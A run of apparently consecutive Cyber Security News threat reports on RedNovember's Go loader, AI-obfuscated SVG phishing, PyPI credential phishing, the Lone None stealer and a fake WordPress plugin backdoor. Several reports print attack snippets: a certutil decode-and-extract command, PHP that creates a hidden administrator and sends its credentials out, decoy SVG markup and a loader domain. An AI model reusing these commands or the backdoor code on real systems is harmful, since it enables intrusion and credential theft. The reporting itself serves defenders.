In mid-2024, cybersecurity professionals began observing a surge of targeted intrusions against government, defense, and technology organizations worldwide.

These incidents were linked to a previously uncharacterized threat group later christened RedNovember, which leverages open-source and commodity tools to deploy a stealthy Go-based backdoor.

Initial compromises often stemmed from the exploitation of Internet-facing devices—including VPN appliances, load balancers, and webmail portals—using publicly available proof-of-concept exploits.

Subsequent post-exploitation activities typically involved the deployment of the Pantegana command-and-control (C2) framework alongside variants of Cobalt Strike and SparkRAT, allowing operators to maintain long-term access and execute espionage activities undetected.

Recorded Future analysts identified RedNovember’s activity following a July 2025 reconnaissance wave targeting Ivanti Connect Secure VPN appliances across multiple regions.

During this campaign, operators scanned dozens of government ministries and private sector entities, then delivered a malicious Go loader masquerading as a legitimate software update.

Victims ranged from foreign affairs directorates in Southeast Asia to defense contractors in the United States, underscoring the group’s strategic focus on high-value targets.

The use of readily available exploits such as CVE-2024-3400 for Palo Alto GlobalProtect and CVE-2024-24919 for Check Point VPN gateways exemplifies RedNovember’s preference for rapid, high-volume initial access over bespoke malware development.

Observers have noted that the group’s operations accelerated in the wake of geopolitical events.

For instance, reconnaissance against Taiwanese research facilities coincided with Chinese military exercises in the Taiwan Strait, and extensive Panamanian government targeting followed high-level U.S. diplomatic visits.

The correlation between RedNovember activity and diplomatic or military movements suggests a state-sponsored intelligence motive, with the group harnessing open-source tools to obfuscate attribution and reduce operational costs.

This tactic magnifies the risk of widespread exploitation, as adversaries can quickly weaponize newly released proof-of-concept code without extensive development overhead.

Infection Mechanism

A critical component of RedNovember’s toolkit is LESLIELOADER, a Go-based loader that authenticates and decrypts its payload before executing it in memory.

The loader is distributed via spear-phishing emails containing a PDF lure document. Upon execution, LESLIELOADER performs an AES decryption routine to unpack SparkRAT or Cobalt Strike Beacon modules.

A simplified YARA rule from Recorded Future’s Appendix D illustrates this decryption behavior:-

rule MALLESLIELOADER {
    meta:
        author = "Insikt Group, Recorded Future"
        description = "Detects LESLIELOADER Malware used by RedNovember"
    strings:
        $s1 = ".DecrptogAES"
        $s2 = ".UnPaddingText1"
    condition:
        uint16(0) == 0x4D5A and all of ($s*)
}

Once deployed, the loader contacts a hardcoded domain (e.g., download.offiec.us.kg) over HTTP, retrieves the encrypted payload, and drops it into a temporary directory.

The AES keys—embedded within the binary—are used to decrypt the payload directly into memory, bypassing disk writes and evading traditional antivirus engines.

Following payload execution, the backdoor establishes persistence by creating a Windows registry Run key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run and disabling event log features to hamper forensic auditing.

This combination of in-memory execution, encrypted payload delivery, and log manipulation enables RedNovember to maintain covert footholds for extended periods, granting operators the ability to exfiltrate sensitive data and perform lateral movement with minimal detection risk.

Despite the sophistication of these tactics, defenders can disrupt RedNovember’s operations by monitoring for known C2 domains, enforcing strict patch management on perimeter devices, and employing behavior-based detection capable of identifying in-memory loaders.

Continuous network segmentation and enhanced visibility on external-facing appliances remain crucial for mitigating this persistent threat.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post RedNovember Hackers Attacking Government and Technology Organizations to Deploy Backdoor appeared first on Cyber Security News.

Cybercriminals are increasingly turning to artificial intelligence to enhance their attack capabilities, as demonstrated in a sophisticated phishing campaign recently uncovered by security researchers.

The campaign represents a significant evolution in malware obfuscation techniques, utilizing AI-generated code to disguise malicious payloads within seemingly legitimate business documents.

This development marks a concerning shift in the threat landscape, where attackers leverage the same AI technologies that defenders use to protect organizations.

The campaign, which primarily targeted US-based organizations, employed a unique approach to payload concealment that diverged from traditional cryptographic obfuscation methods.

Instead of relying on conventional encryption techniques, threat actors used AI to generate complex code structures that mimicked legitimate business analytics dashboards and employed business terminology to mask malicious functionality.

The sophistication of this approach suggests a deliberate attempt to evade both automated detection systems and human analysis.

Microsoft researchers identified the campaign after detecting suspicious email activity that exhibited characteristics inconsistent with typical human-crafted malware.

The analysis revealed that the malicious code displayed levels of complexity, verbosity, and structural patterns that strongly indicated AI assistance in its creation.

Microsoft Security Copilot’s assessment concluded that the code was “not something a human would typically write from scratch due to its complexity, verbosity, and lack of practical utility.”

The attack vector leveraged compromised small business email accounts to distribute phishing messages designed to steal user credentials.

Attackers employed a self-addressed email tactic, where sender and recipient addresses matched while actual targets remained hidden in the BCC field, attempting to bypass basic detection heuristics.

The email content was carefully crafted to resemble file-sharing notifications, creating an appearance of legitimacy that would encourage recipients to interact with the malicious attachment.

Central to the campaign’s success was its use of SVG (Scalable Vector Graphics) files as the primary attack vehicle. The malicious file, named “23mb – PDF- 6 pages.svg,” was designed to appear as a legitimate PDF document despite its SVG extension.

This choice proved strategic, as SVG files are text-based and scriptable, allowing attackers to embed JavaScript and other dynamic content directly within the file structure while maintaining the appearance of benign graphics files.

Business Terminology Obfuscation Technique

The most innovative aspect of this campaign lies in its sophisticated obfuscation methodology, which represents a departure from conventional malware concealment techniques.

Rather than employing traditional cryptographic obfuscation, the attackers utilized AI to generate code that systematically disguised malicious functionality using business-related terminology and synthetic organizational structures.

The SVG file’s initial structure was meticulously crafted to resemble a legitimate Business Performance Dashboard, complete with chart bars, month labels, and analytical elements.

However, these components were rendered completely invisible to users through opacity settings of zero and transparent fill attributes.

This deceptive layer served as a decoy, designed to mislead casual inspection while concealing the file’s true malicious purpose.

<!-- Background -->
<rect width="100%" height="100%" fill="transparent" opacity="0" />
<!-- Title -->
<text x="400" y="40" text-anchor="middle" font-family="Arial" font-size="24" font-weight="bold"
fill="transparent" opacity="0">
Business Performance Dashboard
</text>
<!-- Chart bars -->
<rect x="100" y="200" width="60" height="201" fill="transparent" rx="5" opacity="0" />

The payload’s core functionality was hidden within a sophisticated encoding scheme that utilized an extensive sequence of business-related terms.

Words such as “revenue,” “operations,” “risk,” and “shares” were concatenated into a hidden data-analytics attribute of an invisible text element within the SVG structure.

This creative approach transformed what appeared to be harmless business metadata into functional malicious code.

Embedded JavaScript systematically processed these business-related terms through multiple transformation steps, mapping pairs or sequences of terms to specific characters or instructions.

As the script executed, it decoded the sequence and reconstructed the hidden functionality, enabling browser redirection, fingerprinting, and session tracking capabilities.

This methodology demonstrated how AI-generated obfuscation could create entirely new paradigms for payload concealment while maintaining functional effectiveness.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Hackers Leverage AI-Generated Code to Obfuscate Its Payload and Evade Traditional Defenses appeared first on Cyber Security News.

A sophisticated phishing campaign has emerged targeting maintainers of packages on the Python Package Index (PyPI), employing domain confusion tactics to steal authentication credentials from unsuspecting developers.

The attack leverages fraudulent emails designed to mimic official PyPI communications, directing recipients to malicious domains that closely resemble the legitimate PyPI infrastructure.

The phishing operation utilizes carefully crafted emails that request users to “verify their email address” for supposed “account maintenance and security procedures,” warning that accounts may face suspension without immediate action.

These deceptive messages create a sense of urgency, compelling maintainers to act quickly without scrutinizing the legitimacy of the communication.

The fraudulent emails direct users to the malicious domain pypi-mirror.org, which masquerades as an official PyPI mirror but is entirely unaffiliated with the Python Software Foundation.

This campaign represents a continuation of similar attacks that have targeted PyPI and other open-source repositories over recent months, with threat actors systematically rotating domain names to evade detection and takedown efforts.

PyPI.org analysts identified this as part of a broader pattern of domain-confusion attacks specifically designed to exploit the trust relationships within the open-source ecosystem.

The attack operates through a combination of social engineering and technical deception, exploiting the inherent trust that developers place in official-looking communications from package repositories.

When victims click the malicious link, they are directed to a convincing replica of the PyPI login interface hosted on the fraudulent domain, where any entered credentials are immediately harvested by the attackers.

Domain Confusion and Infrastructure Deception

The technical foundation of this phishing campaign relies heavily on domain spoofing techniques that exploit subtle visual similarities to legitimate PyPI infrastructure.

The attackers registered pypi-mirror.org to capitalize on the common practice of package repositories maintaining mirror sites for redundancy and geographic distribution.

This naming convention appears legitimate to users familiar with mirror architectures commonly employed by major software repositories.

The malicious domain employs HTTPS encryption and professional web design elements to enhance its credibility, making visual detection challenging for users who may be accessing the site quickly or on mobile devices.

The fraudulent site replicates PyPI’s login interface with remarkable precision, including proper styling, logos, and form elements that mirror the authentic experience.

This level of sophistication suggests significant planning and resources dedicated to maximizing the campaign’s success rate.

PyPI security teams have responded by coordinating with domain registrars and content delivery networks to expedite takedown procedures while simultaneously submitting malicious domains to threat intelligence feeds used by major browsers for phishing protection.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New Phishing Attack Targeting PyPI Maintainers to Steal Login Credentials appeared first on Cyber Security News.

A sophisticated malware campaign orchestrated by the Vietnamese Lone None threat actor group has been leveraging fraudulent copyright infringement takedown notices to deploy information-stealing malware onto unsuspecting victims’ systems.

The campaign, which has been actively tracked since November 2024, represents a concerning evolution in social engineering tactics that exploits legitimate legal concerns to bypass traditional security awareness measures.

The malicious operation centers around spoofed email communications that impersonate various legal firms from around the world, claiming copyright violations on victims’ Facebook pages or websites.

These carefully crafted emails reference real Facebook accounts belonging to the recipients, adding an alarming level of authenticity that increases the likelihood of successful deception.

The threat actors have demonstrated remarkable linguistic versatility, creating email templates in at least ten different languages including English, French, German, Korean, Chinese, and Thai, likely utilizing machine translation tools to expand their global reach.

Cofense analysts identified this campaign as particularly dangerous due to its delivery of two primary malware payloads: Pure Logs Stealer and a newly discovered information stealer dubbed Lone None Stealer, also known as PXA Stealer.

The campaign’s sophistication extends beyond traditional malware distribution, employing novel techniques such as using Telegram bot profiles to store payload URLs and leveraging legitimate programs like Haihaisoft PDF Reader to evade detection mechanisms.

The attack chain begins with victims receiving copyright takedown emails containing embedded links that redirect through URL shortening services like tr.ee and goo.su before ultimately leading to file-sharing platforms such as Dropbox and MediaFire.

These archive files contain a mixture of legitimate documents alongside malicious components, creating a facade of authenticity while hiding the true malicious intent.

Advanced Infection Mechanism and Payload Delivery

The technical execution of this malware campaign demonstrates remarkable sophistication in its multi-stage infection process.

Upon clicking the malicious link, victims download an archive file containing a legitimate program, typically Haihaisoft PDF Reader, which has been maliciously repurposed to load a malicious DLL functioning as a Python installer.

The infection chain progresses through a carefully orchestrated sequence of legitimate Windows utilities to decode and execute the final payload.

The malicious DLL exploits the built-in Windows utility certutil.exe, originally designed for certificate management, to decode an archive file that masquerades as a PDF document but contains the actual malware components.

The following command demonstrates this technique:-

cmd /c cd _ && start Document.pdf && certutil -decode Document.pdf Invoice.pdf && images.png x -ibck -y Invoice.pdf C:\\Users\\Public

Following successful decoding, the campaign utilizes a bundled WinRAR executable, deceptively named “images.png,” to extract the decoded archive contents to the C:\Users\Public directory.

This location choice is strategic, as it provides write access without requiring administrative privileges while maintaining persistence across user sessions.

The extracted Python installation includes a malicious interpreter executable named “svchost.exe” that executes obfuscated Python scripts designed to establish communication with Telegram bot command and control infrastructure.

The malware achieves persistence through Windows registry modifications, specifically creating startup entries in HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to ensure continued execution after system reboots.

The complete execution flowchart for the average Lone None Stealer sample, demonstrating the complex multi-stage process from initial infection through final payload deployment.

The campaign’s use of Telegram bots as both payload delivery mechanisms and command-and-control infrastructure represents a significant tactical evolution, allowing threat actors to maintain operational security while leveraging legitimate communication platforms to avoid traditional network detection methods.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Threat Actors Using Copyright Takedown Claims to Deploy Malware appeared first on Cyber Security News.

A sophisticated malware campaign targeting WordPress websites has been discovered employing advanced steganographic techniques and persistent backdoor mechanisms to maintain unauthorized administrator access.

The malware operates through two primary components that work in tandem to create a resilient attack infrastructure, enabling cybercriminals to establish persistent footholds on compromised websites while remaining undetected by traditional security measures.

The attack begins with the deployment of malicious files designed to masquerade as legitimate WordPress components.

These files employ multiple layers of obfuscation and encoding to avoid detection, creating administrator accounts with hardcoded credentials that attackers can use to maintain access even after initial security breaches are discovered.

The malware’s architecture demonstrates a sophisticated understanding of WordPress’s internal mechanisms, exploiting both plugin infrastructure and core user management functions to establish persistent access points.

Beyond simple account creation, the malware implements advanced communication protocols with command-and-control servers, automatically transmitting compromised credentials and system information to attacker-controlled endpoints.

This enables threat actors to harvest administrative access credentials across multiple compromised sites simultaneously, creating extensive networks of compromised WordPress installations.

Sucuri analysts identified the malware during routine security cleanups and observed its sophisticated persistence mechanisms that actively resist removal attempts.

The malware’s impact extends beyond simple unauthorized access, potentially enabling attackers to inject malicious content, redirect visitors to fraudulent websites, harvest sensitive information, or deploy additional malicious payloads.

The combination of stealth tactics and persistent mechanisms makes this campaign particularly dangerous for website owners who may remain unaware of the compromise for extended periods while attackers maintain silent access to their systems.

Advanced Persistence and Stealth Mechanisms

The malware demonstrates exceptional sophistication in its persistence tactics, employing a dual-file approach that ensures redundant access pathways.

The primary component disguises itself as the “DebugMaster Pro” plugin, complete with convincing metadata including version numbers, GitHub repositories, and professional descriptions.

However, beneath this facade lies heavily obfuscated code designed to create administrator accounts and establish communication channels with external servers.

public function create_admin_user() {
if (get_option($this->init_flag, false)) return;
$creds = $this->generate_credentials();
if (!username_exists($creds["user"])) {
$user_id = wp_create_user($creds["user"], $creds["pass"], $creds["email"]);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role("administrator");
}
}
$this->send_credentials($creds);
update_option($this->init_flag, time() + 86400 * 30);
}

The malware implements multiple evasion techniques to avoid detection by both automated security tools and manual inspection.

It actively removes itself from WordPress plugin listings using filtered queries and obscures administrative user accounts from standard user management interfaces.

The code utilizes extensive hexadecimal encoding and goto statements to obfuscate its true functionality, making static analysis considerably more challenging for security researchers.

Additionally, the malware incorporates IP tracking mechanisms to identify administrator access patterns while simultaneously whitelisting known administrative IP addresses to avoid exposing malicious functionality to legitimate users.

This selective visibility ensures that the malware remains hidden from website owners while continuing to operate against regular visitors, demonstrating a sophisticated understanding of operational security principles typically associated with advanced persistent threat groups.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Hackers Exploiting WordPress Websites With Silent Malware to Gain Admin Access appeared first on Cyber Security News.